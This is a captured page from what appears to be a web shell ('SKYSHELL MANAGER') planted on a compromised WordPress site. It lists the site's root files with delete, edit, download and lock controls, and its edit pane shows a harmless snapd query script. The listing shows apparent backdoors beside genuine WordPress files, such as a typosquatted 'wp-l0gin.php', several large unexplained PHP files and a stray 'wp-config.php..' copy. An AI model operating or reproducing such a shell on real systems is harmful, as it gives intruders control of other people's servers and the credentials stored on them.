📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: snap-query
#!/usr/bin/python3 """Query the status of the lxd snap.""" # Python implementation of: # $ curl -s --unix /run/snapd.socket 'http://unix.socket/v2/changes?select=in-progress&for=lxd' | jq -r '.result[0].kind' # auto-refresh # The full JSON output when querying the in-progress changes for the lxd snap: # $ curl -s --unix /run/snapd.socket 'http://snapd/v2/changes?select=in-progress&for=lxd' | jq -r . # { # "type": "sync", # "status-code": 200, # "status": "OK", # "result": [ # { # "id": "1907", # "kind": "auto-refresh", # "summary": "Auto-refresh snap \"lxd\"", # "status": "Hold", # "ready": true, # "spawn-time": "2024-02-19T10:21:34.429396408-05:00", # "data": { # "snap-names": [ # "lxd" # ] # } # } # ] # } # Heavily inspired from snapd's api-client.py: # https://github.com/snapcore/snapd/blob/master/tests/main/theme-install/api-client/bin/api-client.py import http.client import json import socket import sys # This class is a subclass of http.client.HTTPConnection that connects to a Unix socket instead of a TCP socket. class UnixSocketHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path): super().__init__("snapd") self._socket_path = socket_path def connect(self): s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect(self._socket_path) self.sock = s # This function connects to the Unix socket and requests the in-progress changes for the lxd snap. # Returns the kind of the first result, or an empty string if an error occurs. def main(): # Try to connect to the Unix socket and request the in-progress changes for the lxd snap. # If an exception occurs, print an error message and return an empty string. try: conn = UnixSocketHTTPConnection("/run/snapd.socket") conn.request("GET", "/v2/changes?select=in-progress&for=lxd") response = conn.getresponse() body = response.read().decode() except FileNotFoundError: print("missing socket", file=sys.stderr) return "" except http.client.HTTPException as e: print("HTTP exception:", e, file=sys.stderr) return "" finally: conn.close() # If the response status is not 200, print an error message and return an empty string. if response.status != 200: print("HTTP error:", response.status, file=sys.stderr) return "" # If the response body is missing or empty, print an error message and return an empty string. if not body: print("Missing/empty body", file=sys.stderr) return "" # Try to parse the response body as JSON, and extract the "kind" field from the first result. try: data = json.loads(body) except json.JSONDecodeError as e: print("JSON decode exception:", e, file=sys.stderr) return "" if "result" in data and isinstance(data["result"], list) and len(data["result"]): return data["result"][0].get("kind", "") return "" if __name__ == "__main__": print(main())
Save